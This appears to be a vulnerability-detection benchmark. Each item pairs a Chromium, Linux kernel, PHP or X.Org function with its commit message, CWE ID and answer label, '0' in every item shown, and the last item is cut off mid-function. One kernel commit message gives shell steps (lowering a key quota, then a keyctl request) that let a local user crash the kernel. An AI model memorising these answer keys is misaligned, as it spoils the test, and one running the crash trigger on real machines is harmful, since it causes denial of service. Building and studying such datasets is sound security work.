Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#492333}
CWE ID: CWE-732 | 0 | 134,055 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: InputMsgWatcher::InputMsgWatcher(RenderWidgetHost* render_widget_host,
blink::WebInputEvent::Type type)
: render_widget_host_(render_widget_host),
wait_for_type_(type),
ack_result_(INPUT_EVENT_ACK_STATE_UNKNOWN),
ack_source_(InputEventAckSource::UNKNOWN) {
render_widget_host->AddInputEventObserver(this);
}
Commit Message: Apply ExtensionNavigationThrottle filesystem/blob checks to all frames.
BUG=836858
Change-Id: I34333a72501129fd40b5a9aa6378c9f35f1e7fc2
Reviewed-on: https://chromium-review.googlesource.com/1028511
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Alex Moshchuk <alexmos@chromium.org>
Reviewed-by: Nick Carter <nick@chromium.org>
Commit-Queue: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#553867}
CWE ID: CWE-20 | 0 | 156,087 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void floppy_release(struct gendisk *disk, fmode_t mode)
{
int drive = (long)disk->private_data;
mutex_lock(&floppy_mutex);
mutex_lock(&open_lock);
if (!UDRS->fd_ref--) {
DPRINT("floppy_release with fd_ref == 0");
UDRS->fd_ref = 0;
}
if (!UDRS->fd_ref)
opened_bdev[drive] = NULL;
mutex_unlock(&open_lock);
mutex_unlock(&floppy_mutex);
}
Commit Message: floppy: don't write kernel-only members to FDRAWCMD ioctl output
Do not leak kernel-only floppy_raw_cmd structure members to userspace.
This includes the linked-list pointer and the pointer to the allocated
DMA space.
Signed-off-by: Matthew Daley <mattd@bugfuzz.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264 | 0 | 39,373 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static __inline__ int isdn_net_device_started(isdn_net_dev *n)
{
isdn_net_local *lp = n->local;
struct net_device *dev;
if (lp->master)
dev = lp->master;
else
dev = n->dev;
return netif_running(dev);
}
Commit Message: net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared
After the last patch, We are left in a state in which only drivers calling
ether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real
hardware call ether_setup for their net_devices and don't hold any state in
their skbs. There are a handful of drivers that violate this assumption of
course, and need to be fixed up. This patch identifies those drivers, and marks
them as not being able to support the safe transmission of skbs by clearning the
IFF_TX_SKB_SHARING flag in priv_flags
Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
CC: Karsten Keil <isdn@linux-pingi.de>
CC: "David S. Miller" <davem@davemloft.net>
CC: Jay Vosburgh <fubar@us.ibm.com>
CC: Andy Gospodarek <andy@greyhouse.net>
CC: Patrick McHardy <kaber@trash.net>
CC: Krzysztof Halasa <khc@pm.waw.pl>
CC: "John W. Linville" <linville@tuxdriver.com>
CC: Greg Kroah-Hartman <gregkh@suse.de>
CC: Marcel Holtmann <marcel@holtmann.org>
CC: Johannes Berg <johannes@sipsolutions.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-264 | 0 | 23,634 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int ecb_aes_decrypt(struct blkcipher_desc *desc,
struct scatterlist *dst, struct scatterlist *src,
unsigned int nbytes)
{
struct aes_ctx *ctx = blk_aes_ctx(desc->tfm);
struct blkcipher_walk walk;
int err;
int ts_state;
padlock_reset_key(&ctx->cword.decrypt);
blkcipher_walk_init(&walk, dst, src, nbytes);
err = blkcipher_walk_virt(desc, &walk);
ts_state = irq_ts_save();
while ((nbytes = walk.nbytes)) {
padlock_xcrypt_ecb(walk.src.virt.addr, walk.dst.virt.addr,
ctx->D, &ctx->cword.decrypt,
nbytes / AES_BLOCK_SIZE);
nbytes &= AES_BLOCK_SIZE - 1;
err = blkcipher_walk_done(desc, &walk, nbytes);
}
irq_ts_restore(ts_state);
padlock_store_cword(&ctx->cword.encrypt);
return err;
}
Commit Message: crypto: prefix module autoloading with "crypto-"
This prefixes all crypto module loading with "crypto-" so we never run
the risk of exposing module auto-loading to userspace via a crypto API,
as demonstrated by Mathias Krause:
https://lkml.org/lkml/2013/3/4/70
Signed-off-by: Kees Cook <keescook@chromium.org>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264 | 0 | 47,434 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ResourceFetcher::subresourceLoaderFinishedLoadingOnePart(ResourceLoader* loader)
{
if (!m_multipartLoaders)
m_multipartLoaders = adoptPtr(new ResourceLoaderSet());
m_multipartLoaders->add(loader);
m_loaders->remove(loader);
if (LocalFrame* frame = this->frame())
return frame->loader().checkLoadComplete();
}
Commit Message: Enforce SVG image security rules
SVG images have unique security rules that prevent them from loading
any external resources. This patch enforces these rules in
ResourceFetcher::canRequest for all non-data-uri resources. This locks
down our SVG resource handling and fixes two security bugs.
In the case of SVG images that reference other images, we had a bug
where a cached subresource would be used directly from the cache.
This has been fixed because the canRequest check occurs before we use
cached resources.
In the case of SVG images that use CSS imports, we had a bug where
imports were blindly requested. This has been fixed by stopping all
non-data-uri requests in SVG images.
With this patch we now match Gecko's behavior on both testcases.
BUG=380885, 382296
Review URL: https://codereview.chromium.org/320763002
git-svn-id: svn://svn.chromium.org/blink/trunk@176084 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-264 | 0 | 121,284 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool Plugin::GetProperty(const nacl::string& prop_name,
NaClSrpcArg* prop_value) {
PLUGIN_PRINTF(("Plugin::GetProperty (prop_name=%s)\n", prop_name.c_str()));
PropertyGetter getter = property_getters_[prop_name];
if (NULL == getter) {
return false;
}
(this->*getter)(prop_value);
return true;
}
Commit Message: Revert 143656 - Add an IPC channel between the NaCl loader process and the renderer.
BUG=116317
TEST=ppapi, nacl tests, manual testing for experimental IPC proxy.
Review URL: https://chromiumcodereview.appspot.com/10641016
TBR=bbudge@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10625007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@143665 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 103,346 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Document::didRemoveWheelEventHandler()
{
ASSERT(m_wheelEventHandlerCount > 0);
--m_wheelEventHandlerCount;
Frame* mainFrame = page() ? page()->mainFrame() : 0;
if (mainFrame)
mainFrame->notifyChromeClientWheelEventHandlerCountChanged();
wheelEventHandlerCountChanged(this);
}
Commit Message: Unreviewed, rolling out r147402.
http://trac.webkit.org/changeset/147402
https://bugs.webkit.org/show_bug.cgi?id=112903
Source/WebCore:
* dom/Document.cpp:
(WebCore::Document::processHttpEquiv):
* loader/DocumentLoader.cpp:
(WebCore::DocumentLoader::responseReceived):
LayoutTests:
* http/tests/security/XFrameOptions/x-frame-options-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body.html:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag.html:
* http/tests/security/XFrameOptions/x-frame-options-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny.html:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny-expected.txt:
git-svn-id: svn://svn.chromium.org/blink/trunk@147450 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 105,496 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int udf_sync_fs(struct super_block *sb, int wait)
{
struct udf_sb_info *sbi = UDF_SB(sb);
mutex_lock(&sbi->s_alloc_mutex);
if (sbi->s_lvid_dirty) {
/*
* Blockdevice will be synced later so we don't have to submit
* the buffer for IO
*/
mark_buffer_dirty(sbi->s_lvid_bh);
sb->s_dirt = 0;
sbi->s_lvid_dirty = 0;
}
mutex_unlock(&sbi->s_alloc_mutex);
return 0;
}
Commit Message: udf: Avoid run away loop when partition table length is corrupted
Check provided length of partition table so that (possibly maliciously)
corrupted partition table cannot cause accessing data beyond current buffer.
Signed-off-by: Jan Kara <jack@suse.cz>
CWE ID: CWE-119 | 0 | 19,549 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static zend_object *php_snmp_object_new(zend_class_entry *class_type) /* {{{ */
{
php_snmp_object *intern;
/* Allocate memory for it */
intern = ecalloc(1, sizeof(php_snmp_object) + zend_object_properties_size(class_type));
zend_object_std_init(&intern->zo, class_type);
object_properties_init(&intern->zo, class_type);
intern->zo.handlers = &php_snmp_object_handlers;
return &intern->zo;
}
/* }}} */
Commit Message:
CWE ID: CWE-20 | 0 | 11,236 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RenderBlock::childBecameNonInline(RenderObject*)
{
makeChildrenNonInline();
if (isAnonymousBlock() && parent() && parent()->isRenderBlock())
toRenderBlock(parent())->removeLeftoverAnonymousBlock(this);
}
Commit Message: Separate repaint and layout requirements of StyleDifference (Step 1)
Previously StyleDifference was an enum that proximately bigger values
imply smaller values (e.g. StyleDifferenceLayout implies
StyleDifferenceRepaint). This causes unnecessary repaints in some cases
on layout change.
Convert StyleDifference to a structure containing relatively independent
flags.
This change doesn't directly improve the result, but can make further
repaint optimizations possible.
Step 1 doesn't change any functionality. RenderStyle still generate the
legacy StyleDifference enum when comparing styles and convert the result
to the new StyleDifference. Implicit requirements are not handled during
the conversion.
Converted call sites to use the new StyleDifference according to the
following conversion rules:
- diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange()
- diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly()
- diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout()
- diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout()
- diff > StyleDifferenceRepaintLayer => diff.needsLayout()
- diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly()
- diff == StyleDifferenceLayout => diff.needsFullLayout()
BUG=358460
TEST=All existing layout tests.
R=eseidel@chromium.org, esprehn@chromium.org, jchaffraix@chromium.org
Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983
Review URL: https://codereview.chromium.org/236203020
git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119 | 0 | 116,161 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: brcmf_cfg80211_del_key(struct wiphy *wiphy, struct net_device *ndev,
u8 key_idx, bool pairwise, const u8 *mac_addr)
{
struct brcmf_if *ifp = netdev_priv(ndev);
struct brcmf_wsec_key *key;
s32 err;
brcmf_dbg(TRACE, "Enter\n");
brcmf_dbg(CONN, "key index (%d)\n", key_idx);
if (!check_vif_up(ifp->vif))
return -EIO;
if (key_idx >= BRCMF_MAX_DEFAULT_KEYS) {
/* we ignore this key index in this case */
return -EINVAL;
}
key = &ifp->vif->profile.key[key_idx];
if (key->algo == CRYPTO_ALGO_OFF) {
brcmf_dbg(CONN, "Ignore clearing of (never configured) key\n");
return -EINVAL;
}
memset(key, 0, sizeof(*key));
key->index = (u32)key_idx;
key->flags = BRCMF_PRIMARY_KEY;
/* Clear the key/index */
err = send_key_to_dongle(ifp, key);
brcmf_dbg(TRACE, "Exit\n");
return err;
}
Commit Message: brcmfmac: avoid potential stack overflow in brcmf_cfg80211_start_ap()
User-space can choose to omit NL80211_ATTR_SSID and only provide raw
IE TLV data. When doing so it can provide SSID IE with length exceeding
the allowed size. The driver further processes this IE copying it
into a local variable without checking the length. Hence stack can be
corrupted and used as exploit.
Cc: stable@vger.kernel.org # v4.7
Reported-by: Daxing Guo <freener.gdx@gmail.com>
Reviewed-by: Hante Meuleman <hante.meuleman@broadcom.com>
Reviewed-by: Pieter-Paul Giesberts <pieter-paul.giesberts@broadcom.com>
Reviewed-by: Franky Lin <franky.lin@broadcom.com>
Signed-off-by: Arend van Spriel <arend.vanspriel@broadcom.com>
Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
CWE ID: CWE-119 | 0 | 49,008 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static __be32 nfs4_file_check_deny(struct nfs4_file *fp, u32 deny)
{
/* Common case is that there is no deny mode. */
if (deny) {
/* Does this deny mode make sense? */
if (deny & ~NFS4_SHARE_DENY_BOTH)
return nfserr_inval;
if ((deny & NFS4_SHARE_DENY_READ) &&
atomic_read(&fp->fi_access[O_RDONLY]))
return nfserr_share_denied;
if ((deny & NFS4_SHARE_DENY_WRITE) &&
atomic_read(&fp->fi_access[O_WRONLY]))
return nfserr_share_denied;
}
return nfs_ok;
}
Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux
Pull nfsd updates from Bruce Fields:
"Another RDMA update from Chuck Lever, and a bunch of miscellaneous
bugfixes"
* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)
nfsd: Fix up the "supattr_exclcreat" attributes
nfsd: encoders mustn't use unitialized values in error cases
nfsd: fix undefined behavior in nfsd4_layout_verify
lockd: fix lockd shutdown race
NFSv4: Fix callback server shutdown
SUNRPC: Refactor svc_set_num_threads()
NFSv4.x/callback: Create the callback service through svc_create_pooled
lockd: remove redundant check on block
svcrdma: Clean out old XDR encoders
svcrdma: Remove the req_map cache
svcrdma: Remove unused RDMA Write completion handler
svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt
svcrdma: Clean up RPC-over-RDMA backchannel reply processing
svcrdma: Report Write/Reply chunk overruns
svcrdma: Clean up RDMA_ERROR path
svcrdma: Use rdma_rw API in RPC reply path
svcrdma: Introduce local rdma_rw API helpers
svcrdma: Clean up svc_rdma_get_inv_rkey()
svcrdma: Add helper to save pages under I/O
svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT
...
CWE ID: CWE-404 | 0 | 65,513 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebMediaPlayerImpl::RequestRemotePlaybackDisabled(bool disabled) {
if (observer_)
observer_->OnRemotePlaybackDisabled(disabled);
}
Commit Message: Simplify "WouldTaintOrigin" concept in media/blink
Currently WebMediaPlayer has three predicates:
- DidGetOpaqueResponseFromServiceWorker
- HasSingleSecurityOrigin
- DidPassCORSAccessCheck
. These are used to determine whether the response body is available
for scripts. They are known to be confusing, and actually
MediaElementAudioSourceHandler::WouldTaintOrigin misuses them.
This CL merges the three predicates to one, WouldTaintOrigin, to remove
the confusion. Now the "response type" concept is available and we
don't need a custom CORS check, so this CL removes
BaseAudioContext::WouldTaintOrigin. This CL also renames
URLData::has_opaque_data_ and its (direct and indirect) data accessors
to match the spec.
Bug: 849942, 875153
Change-Id: I6acf50169d7445c4ff614e80ac606f79ee577d2a
Reviewed-on: https://chromium-review.googlesource.com/c/1238098
Reviewed-by: Fredrik Hubinette <hubbe@chromium.org>
Reviewed-by: Kinuko Yasuda <kinuko@chromium.org>
Reviewed-by: Raymond Toy <rtoy@chromium.org>
Commit-Queue: Yutaka Hirano <yhirano@chromium.org>
Cr-Commit-Position: refs/heads/master@{#598258}
CWE ID: CWE-732 | 0 | 144,493 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: error::Error GLES2DecoderImpl::HandleGetAttribLocationBucket(
uint32 immediate_data_size, const cmds::GetAttribLocationBucket& c) {
Bucket* bucket = GetBucket(c.name_bucket_id);
if (!bucket) {
return error::kInvalidArguments;
}
std::string name_str;
if (!bucket->GetAsString(&name_str)) {
return error::kInvalidArguments;
}
return GetAttribLocationHelper(
c.program, c.location_shm_id, c.location_shm_offset, name_str);
}
Commit Message: Framebuffer clear() needs to consider the situation some draw buffers are disabled.
This is when we expose DrawBuffers extension.
BUG=376951
TEST=the attached test case, webgl conformance
R=kbr@chromium.org,bajones@chromium.org
Review URL: https://codereview.chromium.org/315283002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@275338 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119 | 0 | 120,948 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PanoramiXCreateConnectionBlock(void)
{
int i, j, length;
Bool disable_backing_store = FALSE;
int old_width, old_height;
float width_mult, height_mult;
xWindowRoot *root;
xVisualType *visual;
xDepth *depth;
VisualPtr pVisual;
ScreenPtr pScreen;
/*
* Do normal CreateConnectionBlock but faking it for only one screen
*/
if (!PanoramiXNumDepths) {
ErrorF("Xinerama error: No common visuals\n");
return FALSE;
}
for (i = 1; i < screenInfo.numScreens; i++) {
pScreen = screenInfo.screens[i];
if (pScreen->rootDepth != screenInfo.screens[0]->rootDepth) {
ErrorF("Xinerama error: Root window depths differ\n");
return FALSE;
}
if (pScreen->backingStoreSupport !=
screenInfo.screens[0]->backingStoreSupport)
disable_backing_store = TRUE;
}
if (disable_backing_store) {
for (i = 0; i < screenInfo.numScreens; i++) {
pScreen = screenInfo.screens[i];
pScreen->backingStoreSupport = NotUseful;
}
}
i = screenInfo.numScreens;
screenInfo.numScreens = 1;
if (!CreateConnectionBlock()) {
screenInfo.numScreens = i;
return FALSE;
}
screenInfo.numScreens = i;
root = (xWindowRoot *) (ConnectionInfo + connBlockScreenStart);
length = connBlockScreenStart + sizeof(xWindowRoot);
/* overwrite the connection block */
root->nDepths = PanoramiXNumDepths;
for (i = 0; i < PanoramiXNumDepths; i++) {
depth = (xDepth *) (ConnectionInfo + length);
depth->depth = PanoramiXDepths[i].depth;
depth->nVisuals = PanoramiXDepths[i].numVids;
length += sizeof(xDepth);
visual = (xVisualType *) (ConnectionInfo + length);
for (j = 0; j < depth->nVisuals; j++, visual++) {
visual->visualID = PanoramiXDepths[i].vids[j];
for (pVisual = PanoramiXVisuals;
pVisual->vid != visual->visualID; pVisual++);
visual->class = pVisual->class;
visual->bitsPerRGB = pVisual->bitsPerRGBValue;
visual->colormapEntries = pVisual->ColormapEntries;
visual->redMask = pVisual->redMask;
visual->greenMask = pVisual->greenMask;
visual->blueMask = pVisual->blueMask;
}
length += (depth->nVisuals * sizeof(xVisualType));
}
connSetupPrefix.length = bytes_to_int32(length);
for (i = 0; i < PanoramiXNumDepths; i++)
free(PanoramiXDepths[i].vids);
free(PanoramiXDepths);
PanoramiXDepths = NULL;
/*
* OK, change some dimensions so it looks as if it were one big screen
*/
old_width = root->pixWidth;
old_height = root->pixHeight;
root->pixWidth = PanoramiXPixWidth;
root->pixHeight = PanoramiXPixHeight;
width_mult = (1.0 * root->pixWidth) / old_width;
height_mult = (1.0 * root->pixHeight) / old_height;
root->mmWidth *= width_mult;
root->mmHeight *= height_mult;
while (ConnectionCallbackList) {
void *tmp;
tmp = (void *) ConnectionCallbackList;
(*ConnectionCallbackList->func) ();
ConnectionCallbackList = ConnectionCallbackList->next;
free(tmp);
}
return TRUE;
}
Commit Message:
CWE ID: CWE-20 | 0 | 17,368 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: WebPreferences WebContentsImpl::GetWebkitPrefs() {
GURL url = controller_.GetActiveEntry()
? controller_.GetActiveEntry()->GetURL() : GURL::EmptyGURL();
return GetWebkitPrefs(GetRenderViewHost(), url);
}
Commit Message: Cancel JavaScript dialogs when an interstitial appears.
BUG=295695
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/24360011
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 110,677 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void irq_enter(void)
{
rcu_irq_enter();
if (is_idle_task(current) && !in_interrupt()) {
/*
* Prevent raise_softirq from needlessly waking up ksoftirqd
* here, as softirq will be serviced on return from interrupt.
*/
local_bh_disable();
tick_irq_enter();
_local_bh_enable();
}
__irq_enter();
}
Commit Message: Merge tag 'trace-v4.18-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace
Pull tracing fixes from Steven Rostedt:
"This contains a few fixes and a clean up.
- a bad merge caused an "endif" to go in the wrong place in
scripts/Makefile.build
- softirq tracing fix for tracing that corrupts lockdep and causes a
false splat
- histogram documentation typo fixes
- fix a bad memory reference when passing in no filter to the filter
code
- simplify code by using the swap macro instead of open coding the
swap"
* tag 'trace-v4.18-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace:
tracing: Fix SKIP_STACK_VALIDATION=1 build due to bad merge with -mrecord-mcount
tracing: Fix some errors in histogram documentation
tracing: Use swap macro in update_max_tr
softirq: Reorder trace_softirqs_on to prevent lockdep splat
tracing: Check for no filter when processing event filters
CWE ID: CWE-787 | 0 | 81,206 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int __init sit_init(void)
{
int err;
printk(KERN_INFO "IPv6 over IPv4 tunneling driver\n");
err = register_pernet_device(&sit_net_ops);
if (err < 0)
return err;
err = xfrm4_tunnel_register(&sit_handler, AF_INET6);
if (err < 0) {
unregister_pernet_device(&sit_net_ops);
printk(KERN_INFO "sit init: Can't add protocol\n");
}
return err;
}
Commit Message: net: don't allow CAP_NET_ADMIN to load non-netdev kernel modules
Since a8f80e8ff94ecba629542d9b4b5f5a8ee3eb565c any process with
CAP_NET_ADMIN may load any module from /lib/modules/. This doesn't mean
that CAP_NET_ADMIN is a superset of CAP_SYS_MODULE as modules are
limited to /lib/modules/**. However, CAP_NET_ADMIN capability shouldn't
allow anybody load any module not related to networking.
This patch restricts an ability of autoloading modules to netdev modules
with explicit aliases. This fixes CVE-2011-1019.
Arnd Bergmann suggested to leave untouched the old pre-v2.6.32 behavior
of loading netdev modules by name (without any prefix) for processes
with CAP_SYS_MODULE to maintain the compatibility with network scripts
that use autoloading netdev modules by aliases like "eth0", "wlan0".
Currently there are only three users of the feature in the upstream
kernel: ipip, ip_gre and sit.
root@albatros:~# capsh --drop=$(seq -s, 0 11),$(seq -s, 13 34) --
root@albatros:~# grep Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: fffffff800001000
CapEff: fffffff800001000
CapBnd: fffffff800001000
root@albatros:~# modprobe xfs
FATAL: Error inserting xfs
(/lib/modules/2.6.38-rc6-00001-g2bf4ca3/kernel/fs/xfs/xfs.ko): Operation not permitted
root@albatros:~# lsmod | grep xfs
root@albatros:~# ifconfig xfs
xfs: error fetching interface information: Device not found
root@albatros:~# lsmod | grep xfs
root@albatros:~# lsmod | grep sit
root@albatros:~# ifconfig sit
sit: error fetching interface information: Device not found
root@albatros:~# lsmod | grep sit
root@albatros:~# ifconfig sit0
sit0 Link encap:IPv6-in-IPv4
NOARP MTU:1480 Metric:1
root@albatros:~# lsmod | grep sit
sit 10457 0
tunnel4 2957 1 sit
For CAP_SYS_MODULE module loading is still relaxed:
root@albatros:~# grep Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: ffffffffffffffff
CapEff: ffffffffffffffff
CapBnd: ffffffffffffffff
root@albatros:~# ifconfig xfs
xfs: error fetching interface information: Device not found
root@albatros:~# lsmod | grep xfs
xfs 745319 0
Reference: https://lkml.org/lkml/2011/2/24/203
Signed-off-by: Vasiliy Kulikov <segoon@openwall.com>
Signed-off-by: Michael Tokarev <mjt@tls.msk.ru>
Acked-by: David S. Miller <davem@davemloft.net>
Acked-by: Kees Cook <kees.cook@canonical.com>
Signed-off-by: James Morris <jmorris@namei.org>
CWE ID: CWE-264 | 0 | 35,373 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void unregister_key_type(struct key_type *ktype)
{
down_write(&key_types_sem);
list_del_init(&ktype->link);
downgrade_write(&key_types_sem);
key_gc_keytype(ktype);
pr_notice("Key type %s unregistered\n", ktype->name);
up_read(&key_types_sem);
}
Commit Message: KEYS: potential uninitialized variable
If __key_link_begin() failed then "edit" would be uninitialized. I've
added a check to fix that.
This allows a random user to crash the kernel, though it's quite
difficult to achieve. There are three ways it can be done as the user
would have to cause an error to occur in __key_link():
(1) Cause the kernel to run out of memory. In practice, this is difficult
to achieve without ENOMEM cropping up elsewhere and aborting the
attempt.
(2) Revoke the destination keyring between the keyring ID being looked up
and it being tested for revocation. In practice, this is difficult to
time correctly because the KEYCTL_REJECT function can only be used
from the request-key upcall process. Further, users can only make use
of what's in /sbin/request-key.conf, though this does including a
rejection debugging test - which means that the destination keyring
has to be the caller's session keyring in practice.
(3) Have just enough key quota available to create a key, a new session
keyring for the upcall and a link in the session keyring, but not then
sufficient quota to create a link in the nominated destination keyring
so that it fails with EDQUOT.
The bug can be triggered using option (3) above using something like the
following:
echo 80 >/proc/sys/kernel/keys/root_maxbytes
keyctl request2 user debug:fred negate @t
The above sets the quota to something much lower (80) to make the bug
easier to trigger, but this is dependent on the system. Note also that
the name of the keyring created contains a random number that may be
between 1 and 10 characters in size, so may throw the test off by
changing the amount of quota used.
Assuming the failure occurs, something like the following will be seen:
kfree_debugcheck: out of range ptr 6b6b6b6b6b6b6b68h
------------[ cut here ]------------
kernel BUG at ../mm/slab.c:2821!
...
RIP: 0010:[<ffffffff811600f9>] kfree_debugcheck+0x20/0x25
RSP: 0018:ffff8804014a7de8 EFLAGS: 00010092
RAX: 0000000000000034 RBX: 6b6b6b6b6b6b6b68 RCX: 0000000000000000
RDX: 0000000000040001 RSI: 00000000000000f6 RDI: 0000000000000300
RBP: ffff8804014a7df0 R08: 0000000000000001 R09: 0000000000000000
R10: ffff8804014a7e68 R11: 0000000000000054 R12: 0000000000000202
R13: ffffffff81318a66 R14: 0000000000000000 R15: 0000000000000001
...
Call Trace:
kfree+0xde/0x1bc
assoc_array_cancel_edit+0x1f/0x36
__key_link_end+0x55/0x63
key_reject_and_link+0x124/0x155
keyctl_reject_key+0xb6/0xe0
keyctl_negate_key+0x10/0x12
SyS_keyctl+0x9f/0xe7
do_syscall_64+0x63/0x13a
entry_SYSCALL64_slow_path+0x25/0x25
Fixes: f70e2e06196a ('KEYS: Do preallocation for __key_link()')
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: stable@vger.kernel.org
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: | 0 | 53,310 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static Node *create_entry(const char __user *buffer, size_t count)
{
Node *e;
int memsize, err;
char *buf, *p;
char del;
/* some sanity checks */
err = -EINVAL;
if ((count < 11) || (count > 256))
goto out;
err = -ENOMEM;
memsize = sizeof(Node) + count + 8;
e = kmalloc(memsize, GFP_USER);
if (!e)
goto out;
p = buf = (char *)e + sizeof(Node);
memset(e, 0, sizeof(Node));
if (copy_from_user(buf, buffer, count))
goto Efault;
del = *p++; /* delimeter */
memset(buf+count, del, 8);
e->name = p;
p = strchr(p, del);
if (!p)
goto Einval;
*p++ = '\0';
if (!e->name[0] ||
!strcmp(e->name, ".") ||
!strcmp(e->name, "..") ||
strchr(e->name, '/'))
goto Einval;
switch (*p++) {
case 'E': e->flags = 1<<Enabled; break;
case 'M': e->flags = (1<<Enabled) | (1<<Magic); break;
default: goto Einval;
}
if (*p++ != del)
goto Einval;
if (test_bit(Magic, &e->flags)) {
char *s = strchr(p, del);
if (!s)
goto Einval;
*s++ = '\0';
e->offset = simple_strtoul(p, &p, 10);
if (*p++)
goto Einval;
e->magic = p;
p = scanarg(p, del);
if (!p)
goto Einval;
